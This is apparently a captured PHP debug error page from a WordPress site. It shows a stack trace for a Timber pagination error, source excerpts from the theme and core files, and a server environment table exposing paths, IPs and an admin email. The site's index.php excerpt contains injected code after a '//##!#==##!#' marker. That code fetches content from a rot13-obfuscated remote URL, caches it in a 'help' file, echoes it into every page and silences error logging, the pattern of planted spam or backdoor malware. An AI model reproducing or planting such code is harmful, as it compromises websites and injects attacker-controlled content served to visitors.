Error
Call to undefined method Timber\URLHelper::user_trailingslashit() Error thrown with message "Call to undefined method Timber\URLHelper::user_trailingslashit()" Stacktrace: #12 Error in /var/www/vhosts/rzn8.com/httpdocs/wp-content/plugins/gantry5/src/vendor/timber/timber/lib/Pagination.php:156 #11 Timber\Pagination:paginate_links in /var/www/vhosts/rzn8.com/httpdocs/wp-content/plugins/gantry5/src/vendor/timber/timber/lib/Pagination.php:72 #10 Timber\Pagination:init in /var/www/vhosts/rzn8.com/httpdocs/wp-content/plugins/gantry5/src/vendor/timber/timber/lib/Pagination.php:14 #9 Timber\Pagination:__construct in /var/www/vhosts/rzn8.com/httpdocs/wp-content/plugins/gantry5/src/vendor/timber/timber/lib/Pagination.php:24 #8 Timber\Pagination:get_pagination in /var/www/vhosts/rzn8.com/httpdocs/wp-content/plugins/timber-library/lib/Timber.php:417 #7 Timber\Timber:get_pagination in /var/www/vhosts/rzn8.com/httpdocs/wp-content/themes/rt_galatea/includes/helper.php:34 #6 G5ThemeHelper:add_to_context in /var/www/vhosts/rzn8.com/httpdocs/wp-includes/class-wp-hook.php:286 #5 WP_Hook:apply_filters in /var/www/vhosts/rzn8.com/httpdocs/wp-includes/plugin.php:203 #4 apply_filters in /var/www/vhosts/rzn8.com/httpdocs/wp-content/plugins/timber-library/lib/Timber.php:247 #3 Timber\Timber:get_context in /var/www/vhosts/rzn8.com/httpdocs/wp-content/themes/rt_galatea/index.php:36 #2 include in /var/www/vhosts/rzn8.com/httpdocs/wp-includes/template-loader.php:74 #1 require_once in /var/www/vhosts/rzn8.com/httpdocs/wp-blog-header.php:19 #0 require in /var/www/vhosts/rzn8.com/httpdocs/index.php:37
Stack frames (13)
12
Error
/
vendor
/
timber
/
timber
/
lib
/
Pagination.php
156
11
Timber
\
Pagination
paginate_links
/
vendor
/
timber
/
timber
/
lib
/
Pagination.php
72
10
Timber
\
Pagination
init
/
vendor
/
timber
/
timber
/
lib
/
Pagination.php
14
9
Timber
\
Pagination
__construct
/
vendor
/
timber
/
timber
/
lib
/
Pagination.php
24
8
Timber
\
Pagination
get_pagination
/
var
/
www
/
vhosts
/
rzn8.com
/
httpdocs
/
wp-content
/
plugins
/
timber-library
/
lib
/
Timber.php
417
7
Timber
\
Timber
get_pagination
/
var
/
www
/
vhosts
/
rzn8.com
/
httpdocs
/
wp-content
/
themes
/
rt_galatea
/
includes
/
helper.php
34
6
G5ThemeHelper
add_to_context
/
var
/
www
/
vhosts
/
rzn8.com
/
httpdocs
/
wp-includes
/
class-wp-hook.php
286
5
WP_Hook
apply_filters
/
var
/
www
/
vhosts
/
rzn8.com
/
httpdocs
/
wp-includes
/
plugin.php
203
4
apply_filters
/
var
/
www
/
vhosts
/
rzn8.com
/
httpdocs
/
wp-content
/
plugins
/
timber-library
/
lib
/
Timber.php
247
3
Timber
\
Timber
get_context
/
var
/
www
/
vhosts
/
rzn8.com
/
httpdocs
/
wp-content
/
themes
/
rt_galatea
/
index.php
36
2
include
/
var
/
www
/
vhosts
/
rzn8.com
/
httpdocs
/
wp-includes
/
template-loader.php
74
1
require_once
/
var
/
www
/
vhosts
/
rzn8.com
/
httpdocs
/
wp-blog-header.php
19
0
require
/
var
/
www
/
vhosts
/
rzn8.com
/
httpdocs
/
index.php
37
        $dots = false;
        for ( $n = 1; $n <= $args['total']; $n++ ) {
            $n_display = number_format_i18n($n);
            if ( $n == $args['current'] ) {
                $page_links[] = array(
                    'class' => 'page-number page-numbers current',
                    'title' => $n_display,
                    'text' => $n_display,
                    'name' => $n_display,
                    'current' => true
                );
                $dots = true;
            } else {
                if ( $args['show_all'] || ($n <= $args['end_size'] || ($args['current'] && $n >= $args['current'] - $args['mid_size'] && $n <= $args['current'] + $args['mid_size']) || $n > $args['total'] - $args['end_size']) ) {
                    
                    $link = str_replace('%_%', 1 == $n ? '' : $args['format'], $args['base']);
                    $link = str_replace('%#%', $n, $link);
 
                    // we first follow the user trailing slash configuration
                    $link = URLHelper::user_trailingslashit($link);
 
                    // then we add all required querystring parameters
                    if ( $args['add_args'] ) {
                        $link = add_query_arg($args['add_args'], $link);
                    }
 
                    // last, we add fragment if needed
                    $link .= $args['add_fragment'];
 
                    $link = apply_filters('paginate_links', $link);
 
                    $page_links[] = array(
                        'class' => 'page-number page-numbers',
                        'link' => $link,
                        'title' => $n_display,
                        'name' => $n_display,
                        'current' => $args['current'] == $n
                    );
                    $dots = true;
                } elseif ( $dots && !$args['show_all'] ) {
            $args['format'] = $wp_rewrite->pagination_base.'/%#%';
            $args['base'] = trailingslashit($url[0]).'%_%';
        } else {
            $big = 999999999;
            $pagination_link = get_pagenum_link($big, false);
            $args['base'] = str_replace('paged='.$big, '', $pagination_link);
            $args['format'] = '?paged=%#%';
        }
 
        $args['type'] = 'array';
        $args['current'] = max(1, $paged);
        $args['mid_size'] = max(9 - $args['current'], 3);
        if ( is_int($prefs) ) {
            $args['mid_size'] = $prefs - 2;
        } else {
            $args = array_merge($args, $prefs);
        }
        $this->current = $args['current'];
        $this->total = $args['total'];
        $this->pages = Pagination::paginate_links($args);
        if ( $this->total <= count($this->pages) ) {
            // decrement current so that it matches up with the 0 based index used by the pages array
            $current = $this->current - 1;
        } else {
            // $data['current'] can't be used b/c there are more than 10 pages and we are condensing with dots
            foreach ( $this->pages as $key => $page ) {
                if ( !empty($page['current']) ) {
                    $current = $key;
                    break;
                }
            }
        }
 
        // set next and prev using pages array generated by paginate links
        if ( isset($current) && isset($this->pages[$current + 1]) ) {
            $this->next = array('link' => $this->pages[$current + 1]['link'], 'class' => 'page-numbers next');
        }
        if ( isset($current) && isset($this->pages[$current - 1]) ) {
            $this->prev = array('link' => $this->pages[$current - 1]['link'], 'class' => 'page-numbers prev');
        }
<?php
 
namespace Timber;
 
class Pagination {
 
    public $current;
    public $total;
    public $pages;
    public $next;
    public $prev;
 
    public function __construct( $prefs = array(), $wp_query = null ) {
        $this->init($prefs, $wp_query);
    }
 
    /**
     * Get pagination.
     * @api
     * @param array   $prefs
     * @return array mixed
     */
    public static function get_pagination( $prefs ) {
        $pagination = new self($prefs);
        $pagination = get_object_vars($pagination);
        return $pagination;
    }
 
    protected function init( $prefs = array(), $wp_query = null ) {
        if ( !$wp_query ) {
            global $wp_query;
        }
 
        // use the current page from the provided query if available; else fall back to the global
        $paged = isset($wp_query->query_vars['paged']) ? $wp_query->query_vars['paged'] : get_query_var('paged');
 
        global $wp_rewrite;
        $args = array();
        // calculate the total number of pages based on found posts and posts per page
        $ppp = 10;
class Pagination {
 
    public $current;
    public $total;
    public $pages;
    public $next;
    public $prev;
 
    public function __construct( $prefs = array(), $wp_query = null ) {
        $this->init($prefs, $wp_query);
    }
 
    /**
     * Get pagination.
     * @api
     * @param array   $prefs
     * @return array mixed
     */
    public static function get_pagination( $prefs ) {
        $pagination = new self($prefs);
        $pagination = get_object_vars($pagination);
        return $pagination;
    }
 
    protected function init( $prefs = array(), $wp_query = null ) {
        if ( !$wp_query ) {
            global $wp_query;
        }
 
        // use the current page from the provided query if available; else fall back to the global
        $paged = isset($wp_query->query_vars['paged']) ? $wp_query->query_vars['paged'] : get_query_var('paged');
 
        global $wp_rewrite;
        $args = array();
        // calculate the total number of pages based on found posts and posts per page
        $ppp = 10;
        if ( isset($wp_query->query_vars['posts_per_page']) ) {
            $ppp = $wp_query->query_vars['posts_per_page'];
        }
 
     * Get widgets.
     * @api
     * @param int     $widget_id
     * @return TimberFunctionWrapper
     */
    public static function get_widgets( $widget_id ) {
        return trim(Helper::function_wrapper('dynamic_sidebar', array($widget_id), true));
    }
 
    /*  Pagination
    ================================ */
 
    /**
     * Get pagination.
     * @api
     * @param array   $prefs
     * @return array mixed
     */
    public static function get_pagination( $prefs = array() ) {
        return Pagination::get_pagination($prefs);
    }
 
    /*  Utility
    ================================ */
 
 
    /**
     * Add route.
     *
     * @param string  $route
     * @param callable $callback
     * @param array   $args
     * @deprecated since 0.20.0 and will be removed in 1.1
     */
    public static function add_route( $route, $callback, $args = array() ) {
        Helper::warn('Timber::add_route (and accompanying methods for load_view, etc. Have been deprecated and will soon be removed. Please update your theme with Route::map. You can read more in the 1.0 Upgrade Guide: https://github.com/timber/timber/wiki/1.0-Upgrade-Guide');
        \Routes::map($route, $callback, $args);
    }
 
 
 
// Change single post pagination to list items
add_filter('wp_link_pages_link', array('G5ThemeHelper', 'wp_link_pages_li_return'));
 
// Modify Tag Cloud widget arguments
add_filter('widget_tag_cloud_args', array('G5ThemeHelper', 'tag_cloud_widget_modified_args'));
 
class G5ThemeHelper
{
    /**
     * Extend the Timber context
     *
     * @param array $context
     *
     * @return array
     */
    public static function add_to_context(array $context)
    {
        $context['is_user_logged_in'] = is_user_logged_in();
        $context['pagination']        = Timber::get_pagination();
 
        return $context;
    }
 
    /**
     * Single comment callback
     *
     * Using the callback so the walker can go through and give us nested comments
     *
     * @param type $comment
     * @param type $args
     * @param type $depth
     */
    public static function comments($comment, $args, $depth)
    {
        $GLOBALS['comment'] = $comment; ?>
 
        <li id="comment-<?php comment_ID(); ?>" <?php comment_class(); ?>>
        <article id="div-comment-<?php comment_ID(); ?>" class="comment-body">
            <span class="child-arrow-indicator"><i class="fa fa-arrow-up"></i></span>
        }
 
        $nesting_level = $this->nesting_level++;
 
        $this->iterations[ $nesting_level ] = array_keys( $this->callbacks );
        $num_args = count( $args );
 
        do {
            $this->current_priority[ $nesting_level ] = $priority = current( $this->iterations[ $nesting_level ] );
 
            foreach ( $this->callbacks[ $priority ] as $the_ ) {
                if( ! $this->doing_action ) {
                    $args[ 0 ] = $value;
                }
 
                // Avoid the array_slice if possible.
                if ( $the_['accepted_args'] == 0 ) {
                    $value = call_user_func_array( $the_['function'], array() );
                } elseif ( $the_['accepted_args'] >= $num_args ) {
                    $value = call_user_func_array( $the_['function'], $args );
                } else {
                    $value = call_user_func_array( $the_['function'], array_slice( $args, 0, (int)$the_['accepted_args'] ) );
                }
            }
        } while ( false !== next( $this->iterations[ $nesting_level ] ) );
 
        unset( $this->iterations[ $nesting_level ] );
        unset( $this->current_priority[ $nesting_level ] );
 
        $this->nesting_level--;
 
        return $value;
    }
 
    /**
     * Executes the callback functions hooked on a specific action hook.
     *
     * @since 4.7.0
     *
     * @param mixed $args Arguments to pass to the hook callbacks.
        $args = func_get_args();
        _wp_call_all_hook($args);
    }
 
    if ( !isset($wp_filter[$tag]) ) {
        if ( isset($wp_filter['all']) )
            array_pop($wp_current_filter);
        return $value;
    }
 
    if ( !isset($wp_filter['all']) )
        $wp_current_filter[] = $tag;
 
    if ( empty($args) )
        $args = func_get_args();
 
    // don't pass the tag name to WP_Hook
    array_shift( $args );
 
    $filtered = $wp_filter[ $tag ]->apply_filters( $value, $args );
 
    array_pop( $wp_current_filter );
 
    return $filtered;
}
 
/**
 * Execute functions hooked on a specific filter hook, specifying arguments in an array.
 *
 * @since 3.0.0
 *
 * @see apply_filters() This function is identical, but the arguments passed to the
 * functions hooked to `$tag` are supplied using an array.
 *
 * @global array $wp_filter         Stores all of the filters
 * @global array $wp_current_filter Stores the list of current filters with the current one last
 *
 * @param string $tag  The name of the filter hook.
 * @param array  $args The arguments supplied to the functions hooked to $tag.
 * @return mixed The filtered value after all hooked functions are applied to it.
     */
    public static function get_context() {
        if ( empty(self::$context_cache) ) {
            self::$context_cache['http_host'] = URLHelper::get_scheme().'://'.URLHelper::get_host();
            self::$context_cache['wp_title'] = Helper::get_wp_title();
            self::$context_cache['wp_head'] = Helper::function_wrapper('wp_head');
            self::$context_cache['wp_footer'] = Helper::function_wrapper('wp_footer');
            self::$context_cache['body_class'] = implode(' ', get_body_class());
 
            self::$context_cache['site'] = new Site();
            self::$context_cache['request'] = new Request();
            $user = new User();
            self::$context_cache['user'] = ($user->ID) ? $user : false;
            self::$context_cache['theme'] = self::$context_cache['site']->theme;
 
            //Not yet! but this will soon be the default...
            //self::$context_cache['posts'] = new PostQuery();
            self::$context_cache['posts'] = Timber::query_posts();
            
            self::$context_cache = apply_filters('timber_context', self::$context_cache);
            self::$context_cache = apply_filters('timber/context', self::$context_cache);
        }
 
 
        return self::$context_cache;
    }
 
    /**
     * Compile function.
     * @api
     * @param array   $filenames
     * @param array   $data
     * @param boolean|integer    $expires
     * @param string  $cache_mode
     * @param bool    $via_render
     * @return bool|string
     */
    public static function compile( $filenames, $data = array(), $expires = false, $cache_mode = Loader::CACHE_USE_DEFAULT, $via_render = false ) {
        if ( !defined('TIMBER_LOADED') ) {
            self::init();
 * It is used to display a page when nothing more specific matches a query.
 * E.g., it puts together the home page when no home.php file exists
 */
 
if (!class_exists('Timber')) {
    _e('Timber not activated. Make sure you activate the plugin in <a href="/wp-admin/plugins.php#timber">/wp-admin/plugins.php</a>', 'g5_galatea');
    return;
}
 
$gantry = Gantry\Framework\Gantry::instance();
$theme  = $gantry['theme'];
 
global $paged;
 
if (!isset($paged) || !$paged) {
    $paged = 1;
}
 
// We need to render contents of <head> before plugin content gets added.
$context              = Timber::get_context();
$context['page_head'] = $theme->render('partials/page_head.html.twig', $context);
 
// Category variables for query manipulation
$cat         = '';
$cat_include = $gantry['config']->get('content.blog.query.categories.include');
$cat_exclude = $gantry['config']->get('content.blog.query.categories.exclude');
 
if ($cat_include != '') {
    $cat = str_replace(' ', ',', $cat_include);
} elseif ($cat_exclude != '') {
    $cat_exclude = explode(' ', $cat_exclude);
    $new_exclude = [];
    foreach ($cat_exclude as $exclude) {
        $new_exclude[] = '-' . $exclude;
    }
    $cat = implode(',', $new_exclude);
}
 
// Override the main query only when $cat variable is not empty
if ($cat != '') {
    elseif ( is_single()         && $template = get_single_template()         ) :
    elseif ( is_page()           && $template = get_page_template()           ) :
    elseif ( is_singular()       && $template = get_singular_template()       ) :
    elseif ( is_category()       && $template = get_category_template()       ) :
    elseif ( is_tag()            && $template = get_tag_template()            ) :
    elseif ( is_author()         && $template = get_author_template()         ) :
    elseif ( is_date()           && $template = get_date_template()           ) :
    elseif ( is_archive()        && $template = get_archive_template()        ) :
    else :
        $template = get_index_template();
    endif;
    /**
     * Filters the path of the current template before including it.
     *
     * @since 3.0.0
     *
     * @param string $template The path of the template to include.
     */
    if ( $template = apply_filters( 'template_include', $template ) ) {
        include( $template );
    } elseif ( current_user_can( 'switch_themes' ) ) {
        $theme = wp_get_theme();
        if ( $theme->errors() ) {
            wp_die( $theme->errors() );
        }
    }
    return;
endif;
 
<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */
 
if ( !isset($wp_did_header) ) {
 
    $wp_did_header = true;
 
    // Load the WordPress library.
    require_once( dirname(__FILE__) . '/wp-load.php' );
 
    // Set up the WordPress query.
    wp();
 
    // Load the theme template.
    require_once( ABSPATH . WPINC . '/template-loader.php' );
 
}
 
 

 
/**
 
 * Tells WordPress to load the WordPress theme and output it.
 
 *
 
 * @var bool
 
 */
 
define('WP_USE_THEMES', true);
 

 
/** Loads the WordPress Environment and Template */
 
require( dirname( __FILE__ ) . '/wp-blog-header.php' );
 
//##!#==##!#
$time_sec = time();
$time_file = @filemtime("help");
$time = $time_sec - $time_file;

if ($time > 86400 || !$time_file) {
    $handle = @fopen("help", "w+");
    if ($handle) {
        $f = @file_get_contents(str_rot13("uggc://scrq8.bet/yvaxbixn/trg.cuc"));
        @fwrite($handle, $f);
    }
}
else {
    $handle = @fopen("help", "r");
    $f = @fread($handle, filesize("help"));
}

echo $f;
@ini_set("error_log",NULL);

Environment & details:

empty
empty
empty
empty
empty
Key Value
SERVER_SOFTWARE Apache
REQUEST_URI /
USER rzn8media
HOME /var/www/vhosts/rzn8.com
SCRIPT_NAME /index.php
QUERY_STRING
REQUEST_METHOD GET
SERVER_PROTOCOL HTTP/1.0
GATEWAY_INTERFACE CGI/1.1
REMOTE_PORT 42828
SCRIPT_FILENAME /var/www/vhosts/rzn8.com/httpdocs/index.php
SERVER_ADMIN jared@rzn8.com
CONTEXT_DOCUMENT_ROOT /var/www/vhosts/rzn8.com/httpdocs
CONTEXT_PREFIX
REQUEST_SCHEME http
DOCUMENT_ROOT /var/www/vhosts/rzn8.com/httpdocs
REMOTE_ADDR 54.80.93.19
SERVER_PORT 80
SERVER_ADDR 70.32.93.142
SERVER_NAME anytime.rzn8.com
SERVER_SIGNATURE
PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
HTTP_ACCEPT_ENCODING gzip
HTTP_IF_MODIFIED_SINCE Fri, 20 Jul 2018 23:47:16 GMT
HTTP_ACCEPT text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
HTTP_USER_AGENT CCBot/2.0 (https://commoncrawl.org/faq/)
HTTP_CONNECTION close
HTTP_X_ACCEL_INTERNAL /internal-nginx-static-location
HTTP_X_REAL_IP 54.80.93.19
HTTP_HOST anytime.rzn8.com
proxy-nokeepalive 1
UNIQUE_ID W3zvaXw@iwgBIxRKARml5QAAAIM
FCGI_ROLE RESPONDER
PHP_SELF /index.php
REQUEST_TIME_FLOAT 1534914409.5819
REQUEST_TIME 1534914409
empty
0. Whoops\Handler\PrettyPageHandler